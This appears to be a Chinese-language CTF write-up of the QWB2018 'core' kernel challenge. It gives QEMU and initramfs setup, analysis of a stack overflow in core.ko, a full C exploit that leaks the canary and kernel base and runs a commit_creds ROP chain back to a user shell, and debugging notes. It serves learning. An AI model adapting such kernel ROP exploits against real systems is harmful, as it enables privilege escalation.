PART I

unpack

1
2
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/QWB2018-core/tar/try$ ls
bzImage core.cpio.gz core.tar.gz exp.c exp.sh start.sh vmlinux
1
2
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/QWB2018-core/tar/try$ file core.cpio.gz
core.cpio.gz: gzip compressed data, was "core.cpio", last modified: Sat Sep 23 02:42:27 2023, from Unix, original size modulo 2^32 120943104
  • gzip -> gunzip ./core.cpio.gz -> ./core.cpio
  • md core && cd core && cpio -idv < ../core.cpio

start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet pti=on kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

Runnable

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=0 quiet pti=on nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
  • -s : qemu调试
  • 开启ptikaslr
  • panic=0kernel panic之后停止重启,避免陷入死循环

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d -1 -f
  • root权限setsid /bin/cttyhack setuidgid 0 /bin/sh

pack

find ./core | cpio -o -H newc > ./core.cpio
find ./core | cpio -o --format=newc > ./core.cpio

1
2
cd ./core
find ./ | cpio -ov -H newc > ../core.cpio
1
2
3
4
5
6
[    0.023397] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
[ 1.804615] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(1,0)
[ 1.804998] Kernel Offset: 0x3a000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xfffff)
[ 1.805244] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(1,0)
QEMU 6.2.0 monitor - type 'help' for more information
(qemu) q

gcc -g -o pwwn ./pwwn.c ~/pwnlib.c -I ~ -static -masm=intel

exp.sh

1
2
3
4
5
cd ./core
gcc -g -o pwwn ./pwwn.c ~/pwnlib.c -I ~ -static -masm=intel
find ./ | cpio -ov -H newc > ../core.cpio
cd ..
./start.sh

PART II

  • pti & kaslr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/QWB2018-core/core$ fileplus ./core.ko
┌──────────────────────────────────────┐
│ 📁 文件分析报告 │
└──────────────────────────────────────┘

◼ 基本信息
文件名: ./core.ko
文件类型: ELF 64-bit LSB relocatable
其他信息: x86-64
其他信息: version 1 (SYSV)
其他信息: BuildID[sha1]=54943668385c6573ec1b40a7c06127d9423103b3
符号信息: not stripped

──────────────────────────────────────
1
2
3
4
5
6
7
8
9
10
11
12
13
14
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/QWB2018-core/core$ checksec core.ko
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/loo/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.9.0)
[*] '/home/loo/ctf/kernel/xiaozaiya/kernel-PWN/QWB2018-core/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

overflow

qmemcpy(v2, &bss_name, length);汇编如下

1
2
3
4
5
.text:0000000000000120                 movzx   ecx, bx
.text:0000000000000123 mov rsi, offset bss_name
.text:000000000000012A mov rdi, rsp
.text:000000000000012D xor eax, eax
.text:000000000000012F rep movsb

core_copy_func传入0xffffffffffff0000 | overflow_lenth

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include "pwnlib.h"

#define core_read_num (size_t)0x6677889B
#define set_off_num (size_t)0x6677889C
#define core_copy_func (size_t)0x6677889A
int fd;
char buf[0x100];
size_t canary;
size_t *rop_chain;
size_t kernel_addr;
size_t off;
size_t pop_rdi_ret = (size_t)0xffffffff8139e501;
size_t srrartu = (size_t)0xffffffff81a008da;
size_t init_cred_ = (size_t)0xffffffff8223d1a0;
//size_t prepare_creds_ = (size_t)0xffffffff8109cad0;
size_t commit_creds_ = (size_t)0xffffffff8109c8e0;

void core_read(void *ptr){
ioctl(fd,core_read_num,ptr);
}

void set_off(size_t off){
ioctl(fd,set_off_num,off);
}

void core_copy(size_t length){
ioctl(fd,core_copy_func,length);
}

void init_func(){
save();
fd = open("/proc/core",O_RDWR);
if (fd < 0){error("can't open /proc/core");}
}

void main(){
init_func();
set_off((size_t)0x40);
core_read((void*)buf);
memcpy(&canary,buf,8);
memcpy(&kernel_addr,buf+0x20,8);
off = kernel_addr - 0xffffffff811dd6d1;
underline("off is 0x%lx",off);
pop_rdi_ret += off;srrartu += off;init_cred_ += off;commit_creds_ += off;
rop_chain = (size_t *)malloc(0x100);
int i=8;
rop_chain[i++] = (size_t)canary;
rop_chain[i++] = (size_t)0xdeadbeef;
rop_chain[i++] = (size_t)pop_rdi_ret;
rop_chain[i++] = (size_t)init_cred_;
rop_chain[i++] = (size_t)commit_creds_;
rop_chain[i++] = (size_t)srrartu+22;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)0;
rop_chain[i++] = (size_t)getshell;
rop_chain[i++] = (size_t)user_cs;
rop_chain[i++] = (size_t)user_rflags;
rop_chain[i++] = (size_t)user_sp;
rop_chain[i++] = (size_t)user_ss;
//underline("0x%lx",rop_chain[0]);
write(fd,(char*)rop_chain,0x100);
core_copy(0xffffffffffff0000 | (0x100));
underline("end from main");
}

gdb.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
target remote :1234

add-symbol-file ./vmlinux
add-symbol-file ./core/core.ko 0xffffffffc000000
add-symbol-file ./core/pwwn

# copy_to_user
b *0xffffffffc0000000+0xcc
#b main
# copy_from_user
#b *0x0000000000000054+0xffffffffc0000000
# qmemcpy
#b *0x012F+0xffffffffc0000000
c
b *0x15E+0xffffffffc0000000

PART III

Q(A)

Q

1
2
3
4
5
void main(){
int i=0;
rop_chain[i++] = (size_t)0x111111;
//underline("0x%lx",rop_chain[0]);
}

当下面没有调用的时候会导致实际上没写上,需要先调用一次😶‍🌫️?
貌似第一次编译会优化掉,在用户态调用一次之后注释掉用户态调用,之后也不会出现问题

Q&A

1
2
3
4
5
6
7
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/QWB2018-core$ ./myexp.sh
/tmp/ccR55Kfk.s: Assembler messages:
/tmp/ccR55Kfk.s:236: Error: invalid use of register
/tmp/ccR55Kfk.s:239: Error: invalid use of register
/tmp/ccR55Kfk.s:271: Error: invalid use of register
/tmp/ccR55Kfk.s:661: Error: invalid use of register
/tmp/ccR55Kfk.s:661: Warning: register value used as expression

c语言程序中使用了寄存器的名称作为变量名

Q

1
2
3
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/QWB2018-core$ ROPgadget --binary ./vmlinux --only "pop" | grep ret
/usr/local/lib/python3.10/dist-packages/capstone/__init__.py:267: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources

ROPgadget使用–only找不到
ropper很慢
以前好像不是这样

Q&A
打包太慢
pack的时候加上-v选项帮查找问题所在,删掉他们 <- vmlinux

Q&A
iretq要求栈结构

1
2
3
4
5
00:0000│ rsp 0xfffffe00000021d8 —▸ 0x401c96 (getshell) ◂— endbr64
01:0008│ 0xfffffe00000021e0 ◂— 0x33 /* '3' */
02:0010│ 0xfffffe00000021e8 ◂— 0x202
03:0018│ 0xfffffe00000021f0 —▸ 0x7ffde5e81af0 ◂— 1
04:0020│ 0xfffffe00000021f8 ◂— 0x2b /* '+' */
iretq_struct
ret_addr
user_cs
user_rflags
user_sp
user_ss

op

  • ctrl+a c + q
  • cpio -t < ./core.cpio
  • lsmod
  • dmesg
  • cpio -ov -H newc > ../core.cpio
  • strings ./vmlinux | grep -i "linux version"
  • cat /proc/kallsyms | grep "T _stext"

参考